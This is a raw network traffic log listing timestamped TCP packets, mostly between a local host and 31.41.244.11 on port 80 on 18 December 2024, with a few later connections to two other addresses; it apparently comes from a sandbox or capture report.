Dec 18, 2024 17:08:14.725346088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.725399017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.726227045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.726289988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.726372004 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.726429939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.727364063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.727421045 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.727479935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.727535009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.728409052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.728468895 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.728585958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.728640079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.729671955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.729729891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.729952097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.730005980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.731328011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.731379032 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.731507063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.731585979 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.732254028 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.732310057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.732347965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.732403040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.733211040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.733262062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.733314991 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.733361006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.734005928 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.734052896 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.734066010 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.734107971 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.734859943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.734908104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.734992027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.735043049 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.735944033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.736011982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.736057997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.736104012 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.736973047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.737034082 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.737138033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.737183094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.738056898 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.738117933 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.738194942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.738239050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.739132881 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.739193916 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.739247084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.739291906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.740216970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.740277052 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.740318060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.740370989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.741270065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.741316080 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.741406918 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.741458893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.742398024 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.742450953 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.742574930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.742635012 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.743447065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.743522882 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.743607998 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.743666887 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.744607925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.744657993 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.744705915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.744751930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.745621920 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.745685101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.745780945 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.745827913 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.746655941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.746709108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.746789932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.746838093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.747742891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.747797966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.747854948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.747903109 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.748816967 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.748862982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.748975039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.749023914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.749950886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.750010014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.750096083 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.750143051 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.750987053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.751053095 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.751107931 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.751152039 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.752159119 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.752216101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.752264023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.752307892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.753155947 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.753210068 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.753293037 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.753345966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.754180908 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.754242897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.754338980 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.754388094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.755331039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.755393982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.755477905 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.755522966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.756382942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.756437063 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.756525040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.756567955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.757421017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.757469893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.757558107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.757602930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.758523941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.758586884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.758663893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.758708954 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.759594917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.759645939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.759815931 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.759857893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.760708094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.760756016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.760844946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.760889053 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.761941910 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.761957884 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.761989117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.762016058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.763202906 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.763267994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.763619900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.763675928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.764008045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.764049053 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.764123917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.764173031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.765338898 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.765391111 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.765520096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.765561104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.766350031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.766397953 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.766485929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.766535997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.767632961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.767689943 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.767741919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.767796993 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.768780947 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.768838882 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.768891096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.768939018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.769743919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.769793987 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.769845963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.769895077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.770915031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.770971060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.772197962 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.772255898 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.772342920 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.772396088 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.772799969 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.772849083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.772900105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.772949934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.774153948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.774218082 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.774270058 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.774324894 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.775309086 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.775371075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.910180092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.910229921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.910252094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.910285950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.910440922 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.910496950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.910665035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.910715103 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.911679029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.911732912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.911900997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.911950111 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.912924051 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.912977934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.912982941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.913033009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.913597107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.913647890 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.913706064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.913753033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.914639950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.914690018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.914872885 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.914923906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.915663958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.915714979 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.915771961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.915821075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.916618109 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.916671038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.916719913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.916764975 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.917607069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.917655945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.917757034 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.917810917 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.918448925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.918514013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.918570042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.918618917 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.919598103 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.919656038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.919876099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.919923067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.920597076 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.920649052 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.920783997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.920835972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.921824932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.921889067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.921899080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.921947002 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.922718048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.922769070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.922862053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.922915936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.923844099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.923897028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.923981905 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.924019098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.924906015 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.924957991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.925036907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.925086021 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.925934076 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.925983906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.926067114 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.926115036 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.927081108 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.927130938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.927200079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.927249908 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.928103924 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.928153992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.928327084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.928375959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.929231882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.929281950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.929449081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.929502010 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.930402040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.930450916 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.930500031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.930543900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.931327105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.931377888 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.931447029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.931498051 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.932384014 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.932435989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.932509899 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.932559967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.933569908 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.933618069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.933700085 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.933753014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.934747934 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.934804916 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.934901953 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.934951067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.935755968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.935805082 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.935862064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.935911894 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.936726093 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.936774015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.936865091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.936916113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.937839031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.937892914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.937947035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.937993050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.938863993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.938915968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.938991070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.939040899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.939945936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.939996958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.940090895 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.940140963 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.941098928 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.941148996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.941220045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.941267014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.942095995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.942147970 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.942203999 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.942262888 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.943208933 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.943264008 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.943327904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.943380117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.944267035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.944319963 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.944379091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.944430113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.945435047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.945486069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.945619106 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.945671082 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.946556091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.946607113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.946679115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.946727991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.947613955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.947665930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.947665930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.947711945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.948570013 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.948626995 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:16.257385015 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:16.257432938 CET	443	49764	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:16.257513046 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:16.260590076 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:16.260608912 CET	443	49764	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:17.218631983 CET	49743	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:17.218981981 CET	49768	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:17.346503019 CET	80	49768	185.215.113.43	192.168.2.4
